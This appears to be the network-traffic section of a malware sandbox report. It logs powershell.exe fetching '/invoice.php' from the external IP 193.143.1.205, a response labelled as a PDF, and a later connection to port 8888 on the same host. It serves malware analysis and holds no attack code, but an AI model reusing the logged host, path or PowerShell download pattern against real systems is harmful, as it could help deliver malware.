Jan 10, 2025 22:23:44.464842081 CET	80	49706	193.143.1.205	192.168.2.8
Jan 10, 2025 22:23:44.464859009 CET	80	49706	193.143.1.205	192.168.2.8
Jan 10, 2025 22:23:44.464875937 CET	80	49706	193.143.1.205	192.168.2.8
Jan 10, 2025 22:23:44.464893103 CET	80	49706	193.143.1.205	192.168.2.8
Jan 10, 2025 22:23:44.464910030 CET	80	49706	193.143.1.205	192.168.2.8
Jan 10, 2025 22:23:44.464910984 CET	49706	80	192.168.2.8	193.143.1.205
Jan 10, 2025 22:23:44.464926004 CET	80	49706	193.143.1.205	192.168.2.8
Jan 10, 2025 22:23:44.464945078 CET	80	49706	193.143.1.205	192.168.2.8
Jan 10, 2025 22:23:44.464956999 CET	49706	80	192.168.2.8	193.143.1.205
Jan 10, 2025 22:23:44.464956999 CET	49706	80	192.168.2.8	193.143.1.205
Jan 10, 2025 22:23:44.464961052 CET	80	49706	193.143.1.205	192.168.2.8
Jan 10, 2025 22:23:44.464978933 CET	80	49706	193.143.1.205	192.168.2.8
Jan 10, 2025 22:23:44.464994907 CET	80	49706	193.143.1.205	192.168.2.8
Jan 10, 2025 22:23:44.465002060 CET	49706	80	192.168.2.8	193.143.1.205
Jan 10, 2025 22:23:44.465013027 CET	80	49706	193.143.1.205	192.168.2.8
Jan 10, 2025 22:23:44.465030909 CET	80	49706	193.143.1.205	192.168.2.8
Jan 10, 2025 22:23:44.465043068 CET	49706	80	192.168.2.8	193.143.1.205
Jan 10, 2025 22:23:44.465126991 CET	49706	80	192.168.2.8	193.143.1.205
Jan 10, 2025 22:23:44.465619087 CET	80	49706	193.143.1.205	192.168.2.8
Jan 10, 2025 22:23:44.465646982 CET	80	49706	193.143.1.205	192.168.2.8
Jan 10, 2025 22:23:44.465662003 CET	80	49706	193.143.1.205	192.168.2.8
Jan 10, 2025 22:23:44.465687990 CET	49706	80	192.168.2.8	193.143.1.205
Jan 10, 2025 22:23:44.465723038 CET	49706	80	192.168.2.8	193.143.1.205
Jan 10, 2025 22:23:44.492130041 CET	80	49706	193.143.1.205	192.168.2.8
Jan 10, 2025 22:23:44.492163897 CET	80	49706	193.143.1.205	192.168.2.8
Jan 10, 2025 22:23:44.492192030 CET	80	49706	193.143.1.205	192.168.2.8
Jan 10, 2025 22:23:44.492208958 CET	80	49706	193.143.1.205	192.168.2.8
Jan 10, 2025 22:23:44.492225885 CET	80	49706	193.143.1.205	192.168.2.8
Jan 10, 2025 22:23:44.492254972 CET	49706	80	192.168.2.8	193.143.1.205
Jan 10, 2025 22:23:44.492300987 CET	49706	80	192.168.2.8	193.143.1.205
Jan 10, 2025 22:23:44.492306948 CET	80	49706	193.143.1.205	192.168.2.8
Jan 10, 2025 22:23:44.492336035 CET	80	49706	193.143.1.205	192.168.2.8
Jan 10, 2025 22:23:44.492360115 CET	49706	80	192.168.2.8	193.143.1.205
Jan 10, 2025 22:23:44.492393017 CET	80	49706	193.143.1.205	192.168.2.8
Jan 10, 2025 22:23:44.492409945 CET	80	49706	193.143.1.205	192.168.2.8
Jan 10, 2025 22:23:44.492428064 CET	80	49706	193.143.1.205	192.168.2.8
Jan 10, 2025 22:23:44.492441893 CET	49706	80	192.168.2.8	193.143.1.205
Jan 10, 2025 22:23:44.492445946 CET	80	49706	193.143.1.205	192.168.2.8
Jan 10, 2025 22:23:44.492464066 CET	80	49706	193.143.1.205	192.168.2.8
Jan 10, 2025 22:23:44.492495060 CET	49706	80	192.168.2.8	193.143.1.205
Jan 10, 2025 22:23:44.492518902 CET	49706	80	192.168.2.8	193.143.1.205
Jan 10, 2025 22:23:44.515712976 CET	80	49706	193.143.1.205	192.168.2.8
Jan 10, 2025 22:23:44.515731096 CET	80	49706	193.143.1.205	192.168.2.8
Jan 10, 2025 22:23:44.515758991 CET	80	49706	193.143.1.205	192.168.2.8
Jan 10, 2025 22:23:44.515775919 CET	80	49706	193.143.1.205	192.168.2.8
Jan 10, 2025 22:23:44.515790939 CET	80	49706	193.143.1.205	192.168.2.8
Jan 10, 2025 22:23:44.515880108 CET	49706	80	192.168.2.8	193.143.1.205
Jan 10, 2025 22:23:44.515914917 CET	80	49706	193.143.1.205	192.168.2.8
Jan 10, 2025 22:23:44.515933990 CET	80	49706	193.143.1.205	192.168.2.8
Jan 10, 2025 22:23:44.515949965 CET	80	49706	193.143.1.205	192.168.2.8
Jan 10, 2025 22:23:44.515991926 CET	49706	80	192.168.2.8	193.143.1.205
Jan 10, 2025 22:23:44.515991926 CET	49706	80	192.168.2.8	193.143.1.205
Jan 10, 2025 22:23:44.516195059 CET	80	49706	193.143.1.205	192.168.2.8
Jan 10, 2025 22:23:44.516211033 CET	80	49706	193.143.1.205	192.168.2.8
Jan 10, 2025 22:23:44.516227961 CET	80	49706	193.143.1.205	192.168.2.8
Jan 10, 2025 22:23:44.516242981 CET	80	49706	193.143.1.205	192.168.2.8
Jan 10, 2025 22:23:44.516242981 CET	49706	80	192.168.2.8	193.143.1.205
Jan 10, 2025 22:23:44.516298056 CET	80	49706	193.143.1.205	192.168.2.8
Jan 10, 2025 22:23:44.516300917 CET	49706	80	192.168.2.8	193.143.1.205
Jan 10, 2025 22:23:44.516300917 CET	49706	80	192.168.2.8	193.143.1.205
Jan 10, 2025 22:23:44.516561031 CET	80	49706	193.143.1.205	192.168.2.8
Jan 10, 2025 22:23:44.516577959 CET	80	49706	193.143.1.205	192.168.2.8
Jan 10, 2025 22:23:44.516594887 CET	80	49706	193.143.1.205	192.168.2.8
Jan 10, 2025 22:23:44.516612053 CET	80	49706	193.143.1.205	192.168.2.8
Jan 10, 2025 22:23:44.516618967 CET	49706	80	192.168.2.8	193.143.1.205
Jan 10, 2025 22:23:44.516628981 CET	80	49706	193.143.1.205	192.168.2.8
Jan 10, 2025 22:23:44.516674042 CET	49706	80	192.168.2.8	193.143.1.205
Jan 10, 2025 22:23:44.516674042 CET	49706	80	192.168.2.8	193.143.1.205
Jan 10, 2025 22:23:44.516755104 CET	80	49706	193.143.1.205	192.168.2.8
Jan 10, 2025 22:23:44.516839027 CET	80	49706	193.143.1.205	192.168.2.8
Jan 10, 2025 22:23:44.516855955 CET	80	49706	193.143.1.205	192.168.2.8
Jan 10, 2025 22:23:44.516874075 CET	80	49706	193.143.1.205	192.168.2.8
Jan 10, 2025 22:23:44.516886950 CET	49706	80	192.168.2.8	193.143.1.205
Jan 10, 2025 22:23:44.516890049 CET	80	49706	193.143.1.205	192.168.2.8
Jan 10, 2025 22:23:44.516911983 CET	80	49706	193.143.1.205	192.168.2.8
Jan 10, 2025 22:23:44.516953945 CET	49706	80	192.168.2.8	193.143.1.205
Jan 10, 2025 22:23:44.516953945 CET	49706	80	192.168.2.8	193.143.1.205
Jan 10, 2025 22:23:44.551677942 CET	80	49706	193.143.1.205	192.168.2.8
Jan 10, 2025 22:23:44.551696062 CET	80	49706	193.143.1.205	192.168.2.8
Jan 10, 2025 22:23:44.551712990 CET	80	49706	193.143.1.205	192.168.2.8
Jan 10, 2025 22:23:44.551729918 CET	80	49706	193.143.1.205	192.168.2.8
Jan 10, 2025 22:23:44.551855087 CET	80	49706	193.143.1.205	192.168.2.8
Jan 10, 2025 22:23:44.551872015 CET	80	49706	193.143.1.205	192.168.2.8
Jan 10, 2025 22:23:44.551888943 CET	80	49706	193.143.1.205	192.168.2.8
Jan 10, 2025 22:23:44.551906109 CET	80	49706	193.143.1.205	192.168.2.8
Jan 10, 2025 22:23:44.551923990 CET	80	49706	193.143.1.205	192.168.2.8
Jan 10, 2025 22:23:44.551925898 CET	49706	80	192.168.2.8	193.143.1.205
Jan 10, 2025 22:23:44.551925898 CET	49706	80	192.168.2.8	193.143.1.205
Jan 10, 2025 22:23:44.551999092 CET	49706	80	192.168.2.8	193.143.1.205
Jan 10, 2025 22:23:44.552149057 CET	80	49706	193.143.1.205	192.168.2.8
Jan 10, 2025 22:23:44.552174091 CET	80	49706	193.143.1.205	192.168.2.8
Jan 10, 2025 22:23:44.552190065 CET	80	49706	193.143.1.205	192.168.2.8
Jan 10, 2025 22:23:44.552196980 CET	80	49706	193.143.1.205	192.168.2.8
Jan 10, 2025 22:23:44.552206039 CET	80	49706	193.143.1.205	192.168.2.8
Jan 10, 2025 22:23:44.552210093 CET	49706	80	192.168.2.8	193.143.1.205
Jan 10, 2025 22:23:44.552221060 CET	80	49706	193.143.1.205	192.168.2.8
Jan 10, 2025 22:23:44.552280903 CET	49706	80	192.168.2.8	193.143.1.205
Jan 10, 2025 22:23:44.552280903 CET	49706	80	192.168.2.8	193.143.1.205
Jan 10, 2025 22:23:44.552639008 CET	80	49706	193.143.1.205	192.168.2.8
Jan 10, 2025 22:23:44.552663088 CET	80	49706	193.143.1.205	192.168.2.8
Jan 10, 2025 22:23:44.552680969 CET	80	49706	193.143.1.205	192.168.2.8
Jan 10, 2025 22:23:44.552696943 CET	80	49706	193.143.1.205	192.168.2.8
Jan 10, 2025 22:23:44.552710056 CET	49706	80	192.168.2.8	193.143.1.205
Jan 10, 2025 22:23:44.552716970 CET	80	49706	193.143.1.205	192.168.2.8
Jan 10, 2025 22:23:44.552745104 CET	80	49706	193.143.1.205	192.168.2.8
Jan 10, 2025 22:23:44.552759886 CET	49706	80	192.168.2.8	193.143.1.205
Jan 10, 2025 22:23:44.552759886 CET	49706	80	192.168.2.8	193.143.1.205
Jan 10, 2025 22:23:44.552762985 CET	80	49706	193.143.1.205	192.168.2.8
Jan 10, 2025 22:23:44.552826881 CET	49706	80	192.168.2.8	193.143.1.205
Jan 10, 2025 22:23:44.553206921 CET	80	49706	193.143.1.205	192.168.2.8
Jan 10, 2025 22:23:44.553224087 CET	80	49706	193.143.1.205	192.168.2.8
Jan 10, 2025 22:23:44.553241014 CET	80	49706	193.143.1.205	192.168.2.8
Jan 10, 2025 22:23:44.553256989 CET	80	49706	193.143.1.205	192.168.2.8
Jan 10, 2025 22:23:44.553275108 CET	80	49706	193.143.1.205	192.168.2.8
Jan 10, 2025 22:23:44.553277016 CET	49706	80	192.168.2.8	193.143.1.205
Jan 10, 2025 22:23:44.553291082 CET	80	49706	193.143.1.205	192.168.2.8
Jan 10, 2025 22:23:44.553309917 CET	80	49706	193.143.1.205	192.168.2.8
Jan 10, 2025 22:23:44.553325891 CET	80	49706	193.143.1.205	192.168.2.8
Jan 10, 2025 22:23:44.553339005 CET	49706	80	192.168.2.8	193.143.1.205
Jan 10, 2025 22:23:44.553339005 CET	49706	80	192.168.2.8	193.143.1.205
Jan 10, 2025 22:23:44.553360939 CET	49706	80	192.168.2.8	193.143.1.205
Jan 10, 2025 22:23:44.553879976 CET	80	49706	193.143.1.205	192.168.2.8
Jan 10, 2025 22:23:44.553895950 CET	80	49706	193.143.1.205	192.168.2.8
Jan 10, 2025 22:23:44.553913116 CET	80	49706	193.143.1.205	192.168.2.8
Jan 10, 2025 22:23:44.553927898 CET	80	49706	193.143.1.205	192.168.2.8
Jan 10, 2025 22:23:44.553945065 CET	80	49706	193.143.1.205	192.168.2.8
Jan 10, 2025 22:23:44.553961039 CET	80	49706	193.143.1.205	192.168.2.8
Jan 10, 2025 22:23:44.553972960 CET	49706	80	192.168.2.8	193.143.1.205
Jan 10, 2025 22:23:44.553972960 CET	49706	80	192.168.2.8	193.143.1.205
Jan 10, 2025 22:23:44.553978920 CET	80	49706	193.143.1.205	192.168.2.8
Jan 10, 2025 22:23:44.553997040 CET	80	49706	193.143.1.205	192.168.2.8
Jan 10, 2025 22:23:44.554012060 CET	80	49706	193.143.1.205	192.168.2.8
Jan 10, 2025 22:23:44.554028034 CET	80	49706	193.143.1.205	192.168.2.8
Jan 10, 2025 22:23:44.554040909 CET	49706	80	192.168.2.8	193.143.1.205
Jan 10, 2025 22:23:44.554040909 CET	49706	80	192.168.2.8	193.143.1.205
Jan 10, 2025 22:23:44.554045916 CET	80	49706	193.143.1.205	192.168.2.8
Jan 10, 2025 22:23:44.554061890 CET	49706	80	192.168.2.8	193.143.1.205
Jan 10, 2025 22:23:44.554064035 CET	80	49706	193.143.1.205	192.168.2.8
Jan 10, 2025 22:23:44.554136038 CET	49706	80	192.168.2.8	193.143.1.205
Jan 10, 2025 22:23:44.554649115 CET	80	49706	193.143.1.205	192.168.2.8
Jan 10, 2025 22:23:44.554821968 CET	80	49706	193.143.1.205	192.168.2.8
Jan 10, 2025 22:23:44.554838896 CET	80	49706	193.143.1.205	192.168.2.8
Jan 10, 2025 22:23:44.554855108 CET	80	49706	193.143.1.205	192.168.2.8
Jan 10, 2025 22:23:44.554872036 CET	80	49706	193.143.1.205	192.168.2.8
Jan 10, 2025 22:23:44.554877043 CET	49706	80	192.168.2.8	193.143.1.205
Jan 10, 2025 22:23:44.554892063 CET	80	49706	193.143.1.205	192.168.2.8
Jan 10, 2025 22:23:44.554907084 CET	80	49706	193.143.1.205	192.168.2.8
Jan 10, 2025 22:23:44.554924011 CET	80	49706	193.143.1.205	192.168.2.8
Jan 10, 2025 22:23:44.554933071 CET	49706	80	192.168.2.8	193.143.1.205
Jan 10, 2025 22:23:44.554933071 CET	49706	80	192.168.2.8	193.143.1.205
Jan 10, 2025 22:23:44.554941893 CET	80	49706	193.143.1.205	192.168.2.8
Jan 10, 2025 22:23:44.554959059 CET	80	49706	193.143.1.205	192.168.2.8
Jan 10, 2025 22:23:44.554976940 CET	80	49706	193.143.1.205	192.168.2.8
Jan 10, 2025 22:23:44.555001020 CET	49706	80	192.168.2.8	193.143.1.205
Jan 10, 2025 22:23:44.555001020 CET	49706	80	192.168.2.8	193.143.1.205
Jan 10, 2025 22:23:44.555003881 CET	80	49706	193.143.1.205	192.168.2.8
Jan 10, 2025 22:23:44.555046082 CET	49706	80	192.168.2.8	193.143.1.205
Jan 10, 2025 22:23:44.555737972 CET	80	49706	193.143.1.205	192.168.2.8
Jan 10, 2025 22:23:44.555756092 CET	80	49706	193.143.1.205	192.168.2.8
Jan 10, 2025 22:23:44.555771112 CET	80	49706	193.143.1.205	192.168.2.8
Jan 10, 2025 22:23:44.555787086 CET	80	49706	193.143.1.205	192.168.2.8
Jan 10, 2025 22:23:44.555799007 CET	49706	80	192.168.2.8	193.143.1.205
Jan 10, 2025 22:23:44.555804968 CET	80	49706	193.143.1.205	192.168.2.8
Jan 10, 2025 22:23:44.555821896 CET	80	49706	193.143.1.205	192.168.2.8
Jan 10, 2025 22:23:44.555840015 CET	80	49706	193.143.1.205	192.168.2.8
Jan 10, 2025 22:23:44.555846930 CET	49706	80	192.168.2.8	193.143.1.205
Jan 10, 2025 22:23:44.555856943 CET	80	49706	193.143.1.205	192.168.2.8
Jan 10, 2025 22:23:44.555870056 CET	49706	80	192.168.2.8	193.143.1.205
Jan 10, 2025 22:23:44.555876017 CET	80	49706	193.143.1.205	192.168.2.8
Jan 10, 2025 22:23:44.555891991 CET	80	49706	193.143.1.205	192.168.2.8
Jan 10, 2025 22:23:44.555908918 CET	80	49706	193.143.1.205	192.168.2.8
Jan 10, 2025 22:23:44.555910110 CET	49706	80	192.168.2.8	193.143.1.205
Jan 10, 2025 22:23:44.555929899 CET	80	49706	193.143.1.205	192.168.2.8
Jan 10, 2025 22:23:44.555957079 CET	49706	80	192.168.2.8	193.143.1.205
Jan 10, 2025 22:23:44.555996895 CET	49706	80	192.168.2.8	193.143.1.205
Jan 10, 2025 22:23:44.556726933 CET	80	49706	193.143.1.205	192.168.2.8
Jan 10, 2025 22:23:44.556745052 CET	80	49706	193.143.1.205	192.168.2.8
Jan 10, 2025 22:23:44.556761980 CET	80	49706	193.143.1.205	192.168.2.8
Jan 10, 2025 22:23:44.556777954 CET	80	49706	193.143.1.205	192.168.2.8
Jan 10, 2025 22:23:44.556790113 CET	49706	80	192.168.2.8	193.143.1.205
Jan 10, 2025 22:23:44.556793928 CET	80	49706	193.143.1.205	192.168.2.8
Jan 10, 2025 22:23:44.556811094 CET	80	49706	193.143.1.205	192.168.2.8
Jan 10, 2025 22:23:44.556828022 CET	80	49706	193.143.1.205	192.168.2.8
Jan 10, 2025 22:23:44.556830883 CET	49706	80	192.168.2.8	193.143.1.205
Jan 10, 2025 22:23:44.556845903 CET	80	49706	193.143.1.205	192.168.2.8
Jan 10, 2025 22:23:44.556863070 CET	80	49706	193.143.1.205	192.168.2.8
Jan 10, 2025 22:23:44.556879044 CET	80	49706	193.143.1.205	192.168.2.8
Jan 10, 2025 22:23:44.556885958 CET	49706	80	192.168.2.8	193.143.1.205
Jan 10, 2025 22:23:44.556885958 CET	49706	80	192.168.2.8	193.143.1.205
Jan 10, 2025 22:23:44.556899071 CET	80	49706	193.143.1.205	192.168.2.8
Jan 10, 2025 22:23:44.556915045 CET	80	49706	193.143.1.205	192.168.2.8
Jan 10, 2025 22:23:44.556951046 CET	49706	80	192.168.2.8	193.143.1.205
Jan 10, 2025 22:23:44.556951046 CET	49706	80	192.168.2.8	193.143.1.205
Jan 10, 2025 22:23:44.559050083 CET	80	49706	193.143.1.205	192.168.2.8
Jan 10, 2025 22:23:44.559067965 CET	80	49706	193.143.1.205	192.168.2.8
Jan 10, 2025 22:23:44.559083939 CET	80	49706	193.143.1.205	192.168.2.8
Jan 10, 2025 22:23:44.559101105 CET	80	49706	193.143.1.205	192.168.2.8
Jan 10, 2025 22:23:44.559138060 CET	49706	80	192.168.2.8	193.143.1.205
Jan 10, 2025 22:23:44.559154034 CET	49706	80	192.168.2.8	193.143.1.205
Jan 10, 2025 22:23:44.562905073 CET	49706	80	192.168.2.8	193.143.1.205
Jan 10, 2025 22:23:44.602936029 CET	80	49706	193.143.1.205	192.168.2.8
Jan 10, 2025 22:23:44.603009939 CET	80	49706	193.143.1.205	192.168.2.8
Jan 10, 2025 22:23:44.603025913 CET	80	49706	193.143.1.205	192.168.2.8
Jan 10, 2025 22:23:44.603043079 CET	80	49706	193.143.1.205	192.168.2.8
Jan 10, 2025 22:23:44.603058100 CET	80	49706	193.143.1.205	192.168.2.8
Jan 10, 2025 22:23:44.603072882 CET	80	49706	193.143.1.205	192.168.2.8
Jan 10, 2025 22:23:44.603089094 CET	80	49706	193.143.1.205	192.168.2.8
Jan 10, 2025 22:23:44.603104115 CET	80	49706	193.143.1.205	192.168.2.8
Jan 10, 2025 22:23:44.603105068 CET	49706	80	192.168.2.8	193.143.1.205
Jan 10, 2025 22:23:44.603106022 CET	49706	80	192.168.2.8	193.143.1.205
Jan 10, 2025 22:23:44.603178978 CET	49706	80	192.168.2.8	193.143.1.205
Jan 10, 2025 22:23:44.636394024 CET	80	49706	193.143.1.205	192.168.2.8
Jan 10, 2025 22:23:44.636411905 CET	80	49706	193.143.1.205	192.168.2.8
Jan 10, 2025 22:23:44.636435986 CET	80	49706	193.143.1.205	192.168.2.8
Jan 10, 2025 22:23:44.636454105 CET	80	49706	193.143.1.205	192.168.2.8
Jan 10, 2025 22:23:44.636467934 CET	80	49706	193.143.1.205	192.168.2.8
Jan 10, 2025 22:23:44.636486053 CET	80	49706	193.143.1.205	192.168.2.8
Jan 10, 2025 22:23:44.636504889 CET	49706	80	192.168.2.8	193.143.1.205
Jan 10, 2025 22:23:44.636537075 CET	49706	80	192.168.2.8	193.143.1.205
Jan 10, 2025 22:23:44.636559963 CET	80	49706	193.143.1.205	192.168.2.8
Jan 10, 2025 22:23:44.636562109 CET	49706	80	192.168.2.8	193.143.1.205
Jan 10, 2025 22:23:44.636574984 CET	80	49706	193.143.1.205	192.168.2.8
Jan 10, 2025 22:23:44.636590958 CET	80	49706	193.143.1.205	192.168.2.8
Jan 10, 2025 22:23:44.636634111 CET	49706	80	192.168.2.8	193.143.1.205
Jan 10, 2025 22:23:44.637011051 CET	80	49706	193.143.1.205	192.168.2.8
Jan 10, 2025 22:23:44.637039900 CET	80	49706	193.143.1.205	192.168.2.8
Jan 10, 2025 22:23:44.637053967 CET	80	49706	193.143.1.205	192.168.2.8
Jan 10, 2025 22:23:44.637063980 CET	49706	80	192.168.2.8	193.143.1.205
Jan 10, 2025 22:23:44.637070894 CET	80	49706	193.143.1.205	192.168.2.8
Jan 10, 2025 22:23:44.637109995 CET	49706	80	192.168.2.8	193.143.1.205
Jan 10, 2025 22:23:44.637145042 CET	80	49706	193.143.1.205	192.168.2.8
Jan 10, 2025 22:23:44.637161016 CET	80	49706	193.143.1.205	192.168.2.8
Jan 10, 2025 22:23:44.637176037 CET	80	49706	193.143.1.205	192.168.2.8
Jan 10, 2025 22:23:44.637191057 CET	80	49706	193.143.1.205	192.168.2.8
Jan 10, 2025 22:23:44.637192965 CET	49706	80	192.168.2.8	193.143.1.205
Jan 10, 2025 22:23:44.637223959 CET	49706	80	192.168.2.8	193.143.1.205
Jan 10, 2025 22:23:44.637451887 CET	80	49706	193.143.1.205	192.168.2.8
Jan 10, 2025 22:23:44.637506008 CET	80	49706	193.143.1.205	192.168.2.8
Jan 10, 2025 22:23:44.637518883 CET	80	49706	193.143.1.205	192.168.2.8
Jan 10, 2025 22:23:44.637525082 CET	49706	80	192.168.2.8	193.143.1.205
Jan 10, 2025 22:23:44.637536049 CET	80	49706	193.143.1.205	192.168.2.8
Jan 10, 2025 22:23:44.637552977 CET	80	49706	193.143.1.205	192.168.2.8
Jan 10, 2025 22:23:44.637566090 CET	49706	80	192.168.2.8	193.143.1.205
Jan 10, 2025 22:23:44.637594938 CET	49706	80	192.168.2.8	193.143.1.205
Jan 10, 2025 22:23:44.637679100 CET	80	49706	193.143.1.205	192.168.2.8
Jan 10, 2025 22:23:44.637693882 CET	80	49706	193.143.1.205	192.168.2.8
Jan 10, 2025 22:23:44.637710094 CET	80	49706	193.143.1.205	192.168.2.8
Jan 10, 2025 22:23:44.637727022 CET	80	49706	193.143.1.205	192.168.2.8
Jan 10, 2025 22:23:44.637768984 CET	49706	80	192.168.2.8	193.143.1.205
Jan 10, 2025 22:23:44.637768984 CET	49706	80	192.168.2.8	193.143.1.205
Jan 10, 2025 22:23:44.681062937 CET	80	49706	193.143.1.205	192.168.2.8
Jan 10, 2025 22:23:44.681096077 CET	80	49706	193.143.1.205	192.168.2.8
Jan 10, 2025 22:23:44.681111097 CET	80	49706	193.143.1.205	192.168.2.8
Jan 10, 2025 22:23:44.681159973 CET	80	49706	193.143.1.205	192.168.2.8
Jan 10, 2025 22:23:44.681170940 CET	49706	80	192.168.2.8	193.143.1.205
Jan 10, 2025 22:23:44.681175947 CET	80	49706	193.143.1.205	192.168.2.8
Jan 10, 2025 22:23:44.681195974 CET	80	49706	193.143.1.205	192.168.2.8
Jan 10, 2025 22:23:44.681214094 CET	80	49706	193.143.1.205	192.168.2.8
Jan 10, 2025 22:23:44.681241989 CET	80	49706	193.143.1.205	192.168.2.8
Jan 10, 2025 22:23:44.681252003 CET	49706	80	192.168.2.8	193.143.1.205
Jan 10, 2025 22:23:44.681252003 CET	49706	80	192.168.2.8	193.143.1.205
Jan 10, 2025 22:23:44.681281090 CET	80	49706	193.143.1.205	192.168.2.8
Jan 10, 2025 22:23:44.681297064 CET	80	49706	193.143.1.205	192.168.2.8
Jan 10, 2025 22:23:44.681309938 CET	49706	80	192.168.2.8	193.143.1.205
Jan 10, 2025 22:23:44.681324959 CET	80	49706	193.143.1.205	192.168.2.8
Jan 10, 2025 22:23:44.681339979 CET	80	49706	193.143.1.205	192.168.2.8
Jan 10, 2025 22:23:44.681355953 CET	80	49706	193.143.1.205	192.168.2.8
Jan 10, 2025 22:23:44.681360960 CET	49706	80	192.168.2.8	193.143.1.205
Jan 10, 2025 22:23:44.681372881 CET	80	49706	193.143.1.205	192.168.2.8
Jan 10, 2025 22:23:44.681375027 CET	49706	80	192.168.2.8	193.143.1.205
Jan 10, 2025 22:23:44.681447029 CET	49706	80	192.168.2.8	193.143.1.205
Jan 10, 2025 22:23:45.095211029 CET	49706	80	192.168.2.8	193.143.1.205
Jan 10, 2025 22:23:45.247435093 CET	49706	80	192.168.2.8	193.143.1.205
Jan 10, 2025 22:23:45.673924923 CET	49707	8888	192.168.2.8	193.143.1.205
Jan 10, 2025 22:23:45.678850889 CET	8888	49707	193.143.1.205	192.168.2.8
Jan 10, 2025 22:23:45.678924084 CET	49707	8888	192.168.2.8	193.143.1.205
Jan 10, 2025 22:23:45.679857969 CET	49707	8888	192.168.2.8	193.143.1.205
Jan 10, 2025 22:23:45.684722900 CET	8888	49707	193.143.1.205	192.168.2.8
Jan 10, 2025 22:23:46.498127937 CET	8888	49707	193.143.1.205	192.168.2.8
Jan 10, 2025 22:23:46.550945044 CET	49707	8888	192.168.2.8	193.143.1.205
Jan 10, 2025 22:23:47.284070969 CET	49707	8888	192.168.2.8	193.143.1.205

UDP Packets

Timestamp	Source Port	Dest Port	Source IP	Dest IP
Jan 10, 2025 22:23:54.979206085 CET	54871	53	192.168.2.8	1.1.1.1

DNS Queries

Timestamp	Source IP	Dest IP	Trans ID	OP Code	Name	Type	Class	DNS over HTTPS
Jan 10, 2025 22:23:54.979206085 CET	192.168.2.8	1.1.1.1	0x7ad7	Standard query (0)	x1.i.lencr.org	A (IP address)	IN (0x0001)	false

DNS Answers

Timestamp	Source IP	Dest IP	Trans ID	Reply Code	Name	CName	Address	Type	Class	DNS over HTTPS
Jan 10, 2025 22:23:54.986543894 CET	1.1.1.1	192.168.2.8	0x7ad7	No error (0)	x1.i.lencr.org	crl.root-x1.letsencrypt.org.edgekey.net		CNAME (Canonical name)	IN (0x0001)	false
Jan 10, 2025 22:23:55.812849998 CET	1.1.1.1	192.168.2.8	0x8d19	No error (0)	bg.microsoft.map.fastly.net		199.232.214.172	A (IP address)	IN (0x0001)	false
Jan 10, 2025 22:23:55.812849998 CET	1.1.1.1	192.168.2.8	0x8d19	No error (0)	bg.microsoft.map.fastly.net		199.232.210.172	A (IP address)	IN (0x0001)	false

HTTP Request Dependency Graph

193.143.1.205

HTTP Packets

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
0	192.168.2.8	49706	193.143.1.205	80	7924	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe

Timestamp	Bytes transferred	Direction	Data
Jan 10, 2025 22:23:43.042674065 CET	169	OUT	GET /invoice.php HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT; Windows NT 10.0; en-US) WindowsPowerShell/5.1.19041.1682 Host: 193.143.1.205 Connection: Keep-Alive
Jan 10, 2025 22:23:43.863878012 CET	1236	IN	HTTP/1.1 200 OK Server: nginx/1.22.1 Date: Fri, 10 Jan 2025 21:23:43 GMT Content-Type: application/pdf Transfer-Encoding: chunked Connection: keep-alive X-Frame-Options: SAMEORIGIN Data Raw: 31 66 36 61 0d 0a 25 50 44 46 2d 31 2e 37 0a 25 bf f7 a2 fe 0a 31 20 30 20 6f 62 6a 0a 3c 3c 20 2f 50 61 67 65 73 20 33 20 30 20 52 20 2f 54 79 70 65 20 2f 43 61 74 61 6c 6f 67 20 3e 3e 0a 65 6e 64 6f 62 6a 0a 32 20 30 20 6f 62 6a 0a 3c 3c 20 2f 54 79 70 65 20 2f 4f 62 6a 53 74 6d 20 2f 4c 65 6e 67 74 68 20 35 36 20 2f 46 69 6c 74 65 72 20 2f 46 6c 61 74 65 44 65 63 6f 64 65 20 2f 4e 20 31 20 2f 46 69 72 73 74 20 34 20 3e 3e 0a 73 74 72 65 61 6d 0a 78 9c 33 56 30 e0 b2 b1 51 d0 77 ce 2f cd 2b 51 30 54 d0 f7 ce 4c 29 56 88 56 30 51 30 50 08 52 88 55 d0 0f a9 2c 48 55 d0 0f 48 4c 4f 2d 56 b0 b3 e3 02 00 25 30 0c 6d 65 6e 64 73 74 72 65 61 6d 0a 65 6e 64 6f 62 6a 0a 34 20 30 20 6f 62 6a 0a 3c 3c 20 2f 43 6f 6e 74 65 6e 74 73 20 35 20 30 20 52 20 2f 47 72 6f 75 70 20 3c 3c 20 2f 43 53 20 2f 44 65 76 69 63 65 52 47 42 20 2f 49 20 74 72 75 65 20 2f 53 20 2f 54 72 61 6e 73 70 61 72 65 6e 63 79 20 2f 54 79 70 65 20 2f 47 72 6f 75 70 20 3e 3e 20 2f 4d 65 64 69 61 42 6f 78 20 5b 20 30 20 30 20 35 39 34 2e 39 [TRUNCATED] Data Ascii: 1f6a%PDF-1.7%1 0 obj<< /Pages 3 0 R /Type /Catalog >>endobj2 0 obj<< /Type /ObjStm /Length 56 /Filter /FlateDecode /N 1 /First 4 >>streamx3V0Qw/+Q0TL)VV0Q0PRU,HUHLO-V%0mendstreamendobj4 0 obj<< /Contents 5 0 R /Group << /CS /DeviceRGB /I true /S /Transparency /Type /Group >> /MediaBox [ 0 0 594.96 840.96 ] /Parent 3 0 R /Resources 6 0 R /StructParents 0 /Type /Page >>endobj5 0 obj<< /Filter /FlateDecode /Length 75 >>streamx3T0B]C aabgiUeE\ E&@yC:lBWB!P9D~K>W &endstreamendobj6 0 obj<< /ExtGState << /a0 << /CA 1 /ca 1 >> >> /XObject << /x7 7 0 R >> >>endobj7 0 obj<< /BBox [ 0 0 595 841 ] /Filter /FlateDecode /Resources 8 0 R /Subtype /Form /Type /XObject /Length 59 >>streamx+T(O/6PH/*244S0B]HOS04TpBendstreamendobj8 0 obj<< /ExtGState << /a0 << /CA 1 /ca 1 >> /gs0 << /BM /Normal /CA 1.0 /SMask /None /ca 1.0 >> >> /XObject << /x11 9 0 R >> >>endobj9 0 obj<< /BitsPerComponen [TRUNCATED]
